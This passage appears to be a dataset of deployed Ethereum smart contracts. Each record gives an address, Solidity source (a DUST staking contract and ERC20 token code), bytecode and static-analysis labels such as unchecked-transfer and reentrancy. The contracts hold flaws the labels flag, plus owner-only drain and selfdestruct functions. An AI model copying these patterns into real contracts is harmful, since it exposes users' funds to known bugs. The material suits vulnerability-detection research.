unnamed function is called whenever someone tries to send ether to it */ function() { revert(); // Prevents accidental sending of ether } function _checkMyAging(address sender) internal { if (agingBalanceOf[sender][0] == 0) return; for (uint256 k = 0; k < agingTimes.length; k++) { if (agingTimes[k] < now) { agingBalanceOf[sender][0] = safeSub(agingBalanceOf[sender][0], agingBalanceOf[sender][agingTimes[k]]); agingBalanceOf[sender][agingTimes[k]] = 0; } } } function addAgingTimesForPool(address poolAddress, uint256 agingTime) onlyOwner { agingTimesForPools[poolAddress] = agingTime; } function countAddresses() constant returns (uint256 length) { return addressByIndex.length; } function accountBalance(address _address) constant returns (uint256 balance) { return safeSub(balances[_address], agingBalanceOf[_address][0]); } function disableTransfers(bool _disable) public onlyOwner { transfersEnabled = !_disable; } function issue(address _to, uint256 _amount) public onlyOwner validAddress(_to) notThis(_to) { _totalSupply = safeAdd(_totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); _addIndex(_to); Issuance(_amount); Transfer(this, _to, _amount); } /** * Destroy tokens * Remove `_value` tokens from the system irreversibly * @param _value the amount of money to burn */ function burn(uint256 _value) returns (bool success) { destroy(msg.sender, _value); Burn(msg.sender, _value); return true; } /** * Destroy tokens * Remove `_amount` tokens from the system irreversibly * @param _from the address from which tokens will be burnt * @param _amount the amount of money to burn */ function destroy(address _from, uint256 _amount) public { _checkMyAging(_from); // validate input require((msg.sender == _from && allowManuallyBurnTokens) || msg.sender == owner); require(accountBalance(_from) >= _amount); balances[_from] = safeSub(balances[_from], _amount); _totalSupply = safeSub(_totalSupply, _amount); Transfer(_from, this, _amount); Destruction(_amount); } function disableManuallyBurnTokens(bool _disable) public onlyOwner { allowManuallyBurnTokens = !_disable; } function kill() public { require(msg.sender == owner); selfdestruct(owner); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,774
0x6f7110b03db00cdde36e5b40cec63af227eb0811
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract DUSTStaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // yfdai token contract address address public constant tokenAddress = 0xed01917A75c7164bbc95BEdF21BFb29A6590291f; // reward rate 720.00% per year uint public constant rewardRate = 72000; uint public constant rewardInterval = 365 days; // staking fee 50 percent uint public constant stakingFeeRate = 50; // unstaking fee 0.50 percent uint public constant unstakingFeeRate = 50; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } uint private constant stakingAndDaoTokens = 7350e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { if (_amount > getStakingAndDaoAmount()) { revert(); } totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610af9565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b0a565b6040518082815260200191505060405180910390f35b610223610b22565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b27565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3f565b005b610307610cc1565b6040518082815260200191505060405180910390f35b610325610cc8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cec565b6040518082815260200191505060405180910390f35b6103b1610e5c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610e74565b005b6104136112e4565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ec565b6040518082815260200191505060405180910390f35b610489611304565b6040518082815260200191505060405180910390f35b6104a761130a565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130f565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145e565b6040518082815260200191505060405180910390f35b6203f48081565b61056933611476565b565b600069018e71bd8a07f11800006001541061058957600090506105b1565b60006105aa60015469018e71bd8a07f118000061170c90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261170c90919063ffffffff16565b11610715576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806119b96034913960400191505060405180910390fd5b61071e33611476565b600061074861271061073a60328561172390919063ffffffff16565b61175290919063ffffffff16565b9050600061075f828461170c90919063ffffffff16565b905073ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561080657600080fd5b505af115801561081a573d6000803e3d6000fd5b505050506040513d602081101561083057600080fd5b81019080805190602001909291905050506108b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b73ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b505050506040513d602081101561096257600080fd5b81019080805190602001909291905050506109e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610a3783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8e33600261176b90919063ffffffff16565b8015610ad957506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610af457610af233600261179b90919063ffffffff16565b505b505050565b6000610b0560026117cb565b905090565b60056020528060005260406000206000915090505481565b603281565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9757600080fd5b73ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c0f57610be761056b565b811115610bf357600080fd5b610c08816001546117e090919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8057600080fd5b505af1158015610c94573d6000803e3d6000fd5b505050506040513d6020811015610caa57600080fd5b810190808051906020019092919050505050505050565b6201194081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d0282600261176b90919063ffffffff16565b610d0f5760009050610e57565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610d605760009050610e57565b6000610db4600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261170c90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610e4e612710610e406301e13380610e3287610e24620119408961172390919063ffffffff16565b61172390919063ffffffff16565b61175290919063ffffffff16565b61175290919063ffffffff16565b90508093505050505b919050565b73ed01917a75c7164bbc95bedf21bfb29a6590291f81565b60008111610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610f8d57600080fd5b505af1158015610fa1573d6000803e3d6000fd5b505050506040513d6020811015610fb757600080fd5b810190808051906020019092919050505061103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61104333611476565b600061106d61271061105f60328561172390919063ffffffff16565b61175290919063ffffffff16565b90506000611084828461170c90919063ffffffff16565b905073ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561112b57600080fd5b505af115801561113f573d6000803e3d6000fd5b505050506040513d602081101561115557600080fd5b81019080805190602001909291905050506111d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61122a81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128133600261176b90919063ffffffff16565b6112df576112993360026117fc90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461136757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113a157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b600061148182610cec565b905060008111156116c45773ed01917a75c7164bbc95bedf21bfb29a6590291f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561151157600080fd5b505af1158015611525573d6000803e3d6000fd5b505050506040513d602081101561153b57600080fd5b81019080805190602001909291905050506115be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61161081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611668816001546117e090919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561171857fe5b818303905092915050565b6000808284029050600084148061174257508284828161173f57fe5b04145b61174857fe5b8091505092915050565b60008082848161175e57fe5b0490508091505092915050565b6000611793836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61182c565b905092915050565b60006117c3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61184f565b905092915050565b60006117d982600001611937565b9050919050565b6000808284019050838110156117f257fe5b8091505092915050565b6000611824836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611948565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461192b576000600182039050600060018660000180549050039050600086600001828154811061189a57fe5b90600052602060002001549050808760000184815481106118b757fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806118ef57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611931565b60009150505b92915050565b600081600001805490509050919050565b6000611954838361182c565b6119ad5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506119b2565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea264697066735822122013217e49fd8ca1d5b2d2818189d5bc6dd81cb15c04f16133e1d16eec4d44638864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,775
0x42E7c2Bb305537E89f6a26A192d7A1B34fD76CDE
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title SplitPayment * @dev Base contract that supports multiple payees claiming funds sent to this contract * according to the proportion they own. */ contract SplitPayment { using SafeMath for uint256; uint256 public totalShares = 0; uint256 public totalReleased = 0; mapping(address => uint256) public shares; mapping(address => uint256) public released; address[] public payees; /** * @dev Constructor */ constructor(address[] _payees, uint256[] _shares) public payable { require(_payees.length == _shares.length); for (uint256 i = 0; i < _payees.length; i++) { addPayee(_payees[i], _shares[i]); } } /** * @dev payable fallback */ function () public payable {} /** * @dev Claim your share of the balance. */ function claim() public { address payee = msg.sender; require(shares[payee] > 0); uint256 totalReceived = address(this).balance.add(totalReleased); uint256 payment = totalReceived.mul( shares[payee]).div( totalShares).sub( released[payee] ); require(payment != 0); require(address(this).balance >= payment); released[payee] = released[payee].add(payment); totalReleased = totalReleased.add(payment); payee.transfer(payment); } /** * @dev Add a new payee to the contract. * @param _payee The address of the payee to add. * @param _shares The number of shares owned by the payee. */ function addPayee(address _payee, uint256 _shares) internal { require(_payee != address(0)); require(_shares > 0); require(shares[_payee] == 0); payees.push(_payee); shares[_payee] = _shares; totalShares = totalShares.add(_shares); } } /** * @title Sontaku token contract * @dev 